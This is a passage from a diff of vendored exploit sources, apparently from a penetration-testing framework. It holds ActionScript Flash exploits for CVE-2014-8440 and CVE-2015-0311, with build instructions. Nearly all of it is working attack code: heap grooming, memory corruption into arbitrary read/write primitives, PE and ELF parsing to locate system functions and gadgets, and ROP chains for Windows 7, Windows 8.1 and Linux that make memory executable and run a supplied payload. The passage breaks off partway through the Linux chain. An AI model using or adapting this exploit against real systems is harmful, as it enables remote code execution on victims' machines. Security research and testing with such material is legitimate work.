byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
final private function initialize_worker_and_ba():Boolean{
this.ba = new ByteArray()
this.ba.endian = "littleEndian"
this.ba.length = 1024
this.ba.writeUnsignedInt(0xdeedbeef)
this.ba.position = 0
this.shared_ba = new ByteArray()
this.shared_ba.shareable = true
this.shared_ba.endian = Endian.LITTLE_ENDIAN
this.shared_ba.writeUnsignedInt(252536)
this.shared_ba.writeUnsignedInt(16777216)
this.confuse_length_ba = new ByteArray()
this.confuse_length_ba.length = 0x2000
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
this.fake_ba = new ByteArray();
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
return true;
}
final private function trigger():Boolean{
// Memory massaging
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
this.fill_byte_array_vector();
// 2. Clear the marked ByteArray
this.hole_ba.clear();
// The shared_ba should be left in "shared" state
this.worker.setSharedProperty("fnfre", this.shared_ba)
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
this.worker.setSharedProperty("vfhrth", this.shared_ba)
// fake_ba *data* is going to fill the space freed from the hole
this.fake_ba.length = 0x2000;
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
// Trigger the vulnerability, if the memory layout is good enough
// the (freed) hole_ba metadata will end being the shared_ba metadata...
this.shared_ba.uncompress()
// So its size should be 0x2000
if (this.shared_ba.length != 0x2000)
{
return false
}
// Free the fake_ba and make holes on the ByteArray's
// allocated on massaging.
this.free_fake_and_make_holes()
// Fill the holes and the fake_ba data space with
// <uint> vectors
this.fill_with_vectors()
// Hopefully the shared_ba metadata, product of the vulnerability
// at this moment point to the <uint> vectors in memory =) it means
// game over.
var pwn_test:uint;
this.shared_ba.position = 0;
pwn_test = this.shared_ba.readUnsignedInt();
if (pwn_test == 0xBBBBBBBB)
{
return false
}
return true;
}
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
var i:int;
local_ba.position = 0;
i = 0;
while (i < (local_ba.length / 4))
{
local_ba.writeInt(value);
i++;
};
local_ba.position = 0;
}
final private function fill_byte_array_vector():void{
var i:int;
var local_ba:ByteArray;
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
i = 0;
while (i < this.byte_array_vector_length)
{
local_ba = new ByteArray();
this.byte_array_vector[i] = local_ba;
local_ba.endian = Endian.LITTLE_ENDIAN;
i++;
}
var hole_index:int = this.byte_array_vector_length * 4 / 5;
if (hole_index % 2 == 0)
{
hole_index++;
}
for(i = 0; i < this.byte_array_vector_length; i++)
{
local_ba = this.byte_array_vector[i] as ByteArray
local_ba.length = 0x2000
this.fill_byte_array(local_ba, 0xCCCCCCCC)
local_ba.writeInt(0xbabefac0)
local_ba.writeInt(0xbabefac1)
local_ba.writeInt(i)
local_ba.writeInt(0xbabefac3)
if (i == hole_index)
{
this.hole_ba = local_ba;
}
}
return;
}
final private function free_fake_and_make_holes():void {
var i:int
var clear_ba:ByteArray
var hole_index:int = this.byte_array_vector_length * 4 / 5
if (hole_index % 2 == 0)
{
hole_index++;
}
for (i = 0; i < this.byte_array_vector_length; i++)
{
if (i == hole_index) {
this.fake_ba.clear();
} else {
if (i % 2 == 1)
{
clear_ba = this.byte_array_vector[i] as ByteArray
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
clear_ba.clear()
}
}
}
return
}
final private function fill_with_vectors():void {
var i:uint;
var uint_vector:Vector.<uint>;
var objects:Vector.<Object>;
this.object_vector = new Vector.<Object>(this.object_vector_length);
i = 0
while (i < this.object_vector_length)
{
if (i % 2 == 0) {
this.object_vector[i] = new Vector.<uint>()
} else {
this.object_vector[i] = new Vector.<Object>()
}
i++
}
i = 0
while (i < this.object_vector_length)
{
if (i % 2 == 0) {
uint_vector = this.object_vector[i] as Vector.<uint>
uint_vector.length = 114
uint_vector[0] = 0xfeedbabe
uint_vector[1] = i
uint_vector[2] = 0xbabeface
} else {
objects = this.object_vector[i] as Vector.<Object>
objects.length = 114
objects[0] = this.ba
objects[1] = i
objects[2] = this
objects[3] = this.stack
objects[4] = this.payload_space
}
i++
}
}
// Use the corrupted shared_ba to search and corrupt the uint vector
// Returns the offset to the *length* of the corrupted vector
private function search_uint_vector(old_length:uint, new_length:uint):uint {
this.shared_ba.position = 0
var i:uint = 0
var length:uint = 0
var atom:uint = 0
var mark_one:uint = 0
var index:uint = 0
var mark_two:uint = 0
while (i < 0x2000) {
length = shared_ba.readUnsignedInt()
if (length == old_length) {
atom = shared_ba.readUnsignedInt()
mark_one = shared_ba.readUnsignedInt()
index = shared_ba.readUnsignedInt()
mark_two = shared_ba.readUnsignedInt()
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
shared_ba.position = i
shared_ba.writeUnsignedInt(new_length)
this.corrupted_uv_index = index
return i;
}
i = i + 16
}
i = i + 4
}
return 0xffffffff
}
// Use the corrupted shared_ba to disclose its own address
private function search_ba_address():uint {
var address:uint = 0
this.shared_ba.position = 0x14
address = shared_ba.readUnsignedInt()
if (address == 0) {
address = 0xffffffff
this.shared_ba.position = 8
var next:uint = shared_ba.readUnsignedInt()
var prior:uint = shared_ba.readUnsignedInt()
if (next - prior == 0x8000) {
address = prior + 0x4000
}
} else {
address = address - 0x30
}
return address
}
// Use the corrupted uint vector to search an vector with
// interesting objects for info leaking
private function search_object_vector():uint {
var i:uint = 0;
while (i < 0x4000){
if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) {
return i + 1;
}
i++
}
return 0xffffffff
}
// Methods to use the corrupted uint vector
private function vector_write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > this.uv[0]) {
pos = ((addr - this.uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
}
this.uv[pos] = value
}
private function vector_read(addr:uint):uint
{
var pos:uint = 0
if (addr > this.uv[0]) {
pos = ((addr - this.uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
}
return this.uv[pos]
}
// Methods to use the corrupted byte array for arbitrary reading/writing
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
// Methods to search the memory with the corrupted byte array
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

72
external/source/exploits/CVE-2014-8440/PE.as vendored Executable file
View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,68 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Exploit.as
// Original exploit by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.system.ApplicationDomain
import flash.utils.ByteArray
import avm2.intrinsics.memory.*
import flash.external.ExternalInterface
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var data:uint = 0xdeaddead
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var exploiter:Exploiter
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
public function Exploit()
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
// defrag
for (var i:uint = 0; i < 10000; i++) new Vector.<uint>(0x3e0)
for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
ApplicationDomain.currentDomain.domainMemory = ba
ba.position = 0x200
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
try {
ba.uncompress()
} catch (e:Error) { }
uv = new Vector.<uint>(0x3e0)
uv[0] = 0
var test:uint = li32(0)
if (test == 0x3e0) {
si32(0xffffffff, 0) // corrupted
} else {
Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
return // something failed
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
}

View File

@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,74 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 0x3e0
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,399 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(89698)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
